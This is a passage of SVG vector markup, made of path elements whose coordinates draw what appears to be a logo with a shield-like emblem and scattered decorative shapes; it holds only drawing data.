d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.1